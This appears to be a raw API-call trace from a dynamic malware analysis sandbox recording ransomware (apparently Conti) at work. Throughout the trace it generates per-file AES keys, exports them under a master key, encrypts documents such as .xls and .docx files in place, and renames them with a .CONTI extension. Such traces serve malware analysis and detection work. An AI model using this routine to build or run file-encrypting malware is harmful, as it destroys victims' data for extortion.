	[0129.574] MoveFileW (lpExistingFileName="C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), lpNewFileName="C:\\Recovery\\ReAgentOld.xml.CONTI" (normalized: "c:\\recovery\\reagentold.xml.conti")) returned 1
	[0129.575] GetProcessHeap () returned 0x1720000
	[0129.575] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba1eb0 | out: hHeap=0x1720000) returned 1
	[0129.575] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0129.575] GetProcessHeap () returned 0x1720000
	[0129.575] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7f3b8 | out: hHeap=0x1720000) returned 1
	[0129.575] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0129.575] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b45530 | out: phKey=0x6b45530*=0x17c8270) returned 1
	[0129.575] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45534, pdwDataLen=0x45bfa3c | out: pbData=0x6b45534*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0129.576] GetFileAttributesW (lpFileName="C:\\System Volume Information" (normalized: "c:\\system volume information")) returned 0x16
	[0129.576] CreateFileW (lpFileName="C:\\System Volume Information" (normalized: "c:\\system volume information"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.576] GetLastError () returned 0x5
	[0129.576] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0129.576] GetProcessHeap () returned 0x1720000
	[0129.576] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734a20 | out: hHeap=0x1720000) returned 1
	[0129.576] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0129.576] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b45e50 | out: phKey=0x6b45e50*=0x17c7eb0) returned 1
	[0129.576] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45e54, pdwDataLen=0x45bfa3c | out: pbData=0x6b45e54*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0129.577] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Application Data" (normalized: "c:\\users\\all users\\application data")) returned 0x2416
	[0129.577] CreateFileW (lpFileName="C:\\Users\\All Users\\Application Data" (normalized: "c:\\users\\all users\\application data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.577] GetLastError () returned 0x5
	[0129.577] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0129.577] GetProcessHeap () returned 0x1720000
	[0129.577] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d698 | out: hHeap=0x1720000) returned 1
	[0129.577] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0129.577] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e058 | out: phKey=0x6b4e058*=0x17c81f0) returned 1
	[0129.577] CryptExportKey (in: hKey=0x17c81f0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e05c, pdwDataLen=0x45bfa3c | out: pbData=0x6b4e05c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0129.578] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\OfficeIntegrator.ps1" (normalized: "c:\\users\\all users\\microsoft\\appv\\setup\\officeintegrator.ps1")) returned 0x20
	[0129.578] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\OfficeIntegrator.ps1" (normalized: "c:\\users\\all users\\microsoft\\appv\\setup\\officeintegrator.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.578] GetLastError () returned 0x5
	[0129.578] CryptDestroyKey (hKey=0x17c81f0) returned 1
	[0129.578] GetProcessHeap () returned 0x1720000
	[0129.578] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176b8a8 | out: hHeap=0x1720000) returned 1
	[0129.578] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0130.193] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b44e58 | out: phKey=0x6b44e58*=0x17c8570) returned 1
	[0130.193] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44e5c, pdwDataLen=0x45bfa3c | out: pbData=0x6b44e5c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0130.194] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.cert.json")) returned 0x120
	[0130.194] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.cert.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.194] GetLastError () returned 0x5
	[0130.194] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0130.194] GetProcessHeap () returned 0x1720000
	[0130.194] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b5f0 | out: hHeap=0x1720000) returned 1
	[0130.194] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0130.781] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b482d0 | out: phKey=0x6b482d0*=0x17c7ef0) returned 1
	[0130.781] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b482d4, pdwDataLen=0x45bfa3c | out: pbData=0x6b482d4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0130.781] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\vortexschemarequests.dat")) returned 0x20
	[0130.782] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\vortexschemarequests.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.782] GetLastError () returned 0x5
	[0130.782] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0130.782] GetProcessHeap () returned 0x1720000
	[0130.782] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176b8a8 | out: hHeap=0x1720000) returned 1
	[0130.782] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0131.983] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b462e0 | out: phKey=0x6b462e0*=0x17c8430) returned 1
	[0131.983] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b462e4, pdwDataLen=0x45bfa3c | out: pbData=0x6b462e4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0131.985] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\production\\temp")) returned 0x10
	[0131.985] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\production\\temp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0131.985] GetLastError () returned 0x5
	[0131.985] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0131.985] GetProcessHeap () returned 0x1720000
	[0131.985] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7acc0 | out: hHeap=0x1720000) returned 1
	[0131.985] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0133.995] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b472d8 | out: phKey=0x6b472d8*=0x17c7ff0) returned 1
	[0133.995] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b472dc, pdwDataLen=0x45bfa3c | out: pbData=0x6b472dc*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0133.996] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb00002.log")) returned 0x20
	[0133.996] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb00002.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.996] GetLastError () returned 0x5
	[0133.996] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0133.996] GetProcessHeap () returned 0x1720000
	[0133.996] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02e08 | out: hHeap=0x1720000) returned 1
	[0133.996] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0137.887] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b4fbb8 | out: phKey=0x6b4fbb8*=0x6b7e978) returned 1
	[0137.897] CryptExportKey (in: hKey=0x6b7e978, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4fbbc, pdwDataLen=0x45bfa3c | out: pbData=0x6b4fbbc*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0137.903] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms")) returned 0x26
	[0137.903] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0137.903] GetLastError () returned 0x0
	[0137.903] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=524288) returned 1
	[0137.903] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x80000
	[0137.903] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.903] SetEndOfFile (hFile=0x454) returned 1
	[0137.903] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.903] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.904] WriteFile (in: hFile=0x454, lpBuffer=0x6b4fbbc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x6b4fbbc*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0137.905] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.905] ReadFile (in: hFile=0x454, lpBuffer=0xc100000, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x80000, lpOverlapped=0x0) returned 1
	[0138.032] CryptEncrypt (in: hKey=0x6b7e978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x80000, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x80010) returned 1
	[0138.033] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.033] WriteFile (in: hFile=0x454, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x80010, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x80010, lpOverlapped=0x0) returned 1
	[0138.034] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.034] WriteFile (in: hFile=0x454, lpBuffer=0x6b4fbb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x6b4fbb0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0138.034] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.034] CloseHandle (hObject=0x454) returned 1
	[0138.034] GetProcessHeap () returned 0x1720000
	[0138.034] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.034] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms"
	[0138.035] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", lpString2=".CONTI" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.CONTI") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.CONTI"
	[0138.035] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.CONTI" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms.conti")) returned 1
	[0138.035] GetProcessHeap () returned 0x1720000
	[0138.035] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.035] CryptDestroyKey (hKey=0x6b7e978) returned 1
	[0138.035] GetProcessHeap () returned 0x1720000
	[0138.035] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1058 | out: hHeap=0x1720000) returned 1
	[0138.035] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0138.035] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b4c4f8 | out: phKey=0x6b4c4f8*=0x6b7e7b8) returned 1
	[0138.035] CryptExportKey (in: hKey=0x6b7e7b8, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4c4fc, pdwDataLen=0x45bfa3c | out: pbData=0x6b4c4fc*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0138.036] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\1F8cNGIp.xls" (normalized: "c:\\users\\fd1hvy\\documents\\1f8cngip.xls")) returned 0x20
	[0138.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\1F8cNGIp.xls" (normalized: "c:\\users\\fd1hvy\\documents\\1f8cngip.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0138.037] GetLastError () returned 0x0
	[0138.037] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=88773) returned 1
	[0138.037] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x15ac5
	[0138.037] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.037] SetEndOfFile (hFile=0x454) returned 1
	[0138.037] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.037] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.037] WriteFile (in: hFile=0x454, lpBuffer=0x6b4c4fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x6b4c4fc*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0138.053] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.053] ReadFile (in: hFile=0x454, lpBuffer=0xc100000, nNumberOfBytesToRead=0x15ac5, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x15ac5, lpOverlapped=0x0) returned 1
	[0138.067] CryptEncrypt (in: hKey=0x6b7e7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x15ac5, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x15ad0) returned 1
	[0138.067] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.067] WriteFile (in: hFile=0x454, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x15ad0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x15ad0, lpOverlapped=0x0) returned 1
	[0138.068] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.068] WriteFile (in: hFile=0x454, lpBuffer=0x6b4c4f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x6b4c4f0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0138.068] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.068] CloseHandle (hObject=0x454) returned 1
	[0138.068] GetProcessHeap () returned 0x1720000
	[0138.068] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.068] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Documents\\1F8cNGIp.xls" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\1F8cNGIp.xls") returned="C:\\Users\\FD1HVy\\Documents\\1F8cNGIp.xls"
	[0138.068] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\1F8cNGIp.xls", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\1F8cNGIp.xls.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\1F8cNGIp.xls.CONTI"
	[0138.068] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\1F8cNGIp.xls" (normalized: "c:\\users\\fd1hvy\\documents\\1f8cngip.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\1F8cNGIp.xls.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\1f8cngip.xls.conti")) returned 1
	[0138.080] GetProcessHeap () returned 0x1720000
	[0138.080] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.080] CryptDestroyKey (hKey=0x6b7e7b8) returned 1
	[0138.081] GetProcessHeap () returned 0x1720000
	[0138.081] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf180 | out: hHeap=0x1720000) returned 1
	[0138.081] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0139.133] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b51960 | out: phKey=0x6b51960*=0x6b7e738) returned 1
	[0139.133] CryptExportKey (in: hKey=0x6b7e738, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51964, pdwDataLen=0x45bfa3c | out: pbData=0x6b51964*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0146.189] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\DFNJJu0NfFWw3sZy.docx" (normalized: "c:\\users\\fd1hvy\\documents\\dfnjju0nffww3szy.docx")) returned 0x20
	[0146.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\DFNJJu0NfFWw3sZy.docx" (normalized: "c:\\users\\fd1hvy\\documents\\dfnjju0nffww3szy.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0146.190] GetLastError () returned 0x0
	[0146.190] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=65789) returned 1
	[0146.190] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x100fd
	[0146.190] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.190] SetEndOfFile (hFile=0x35c) returned 1
	[0146.190] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.190] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.190] WriteFile (in: hFile=0x35c, lpBuffer=0x6b51964*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x6b51964*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0146.193] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.193] ReadFile (in: hFile=0x35c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x100fd, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x100fd, lpOverlapped=0x0) returned 1
	[0146.210] CryptEncrypt (in: hKey=0x6b7e738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x100fd, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x10100) returned 1
	[0146.210] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.210] WriteFile (in: hFile=0x35c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x10100, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x10100, lpOverlapped=0x0) returned 1
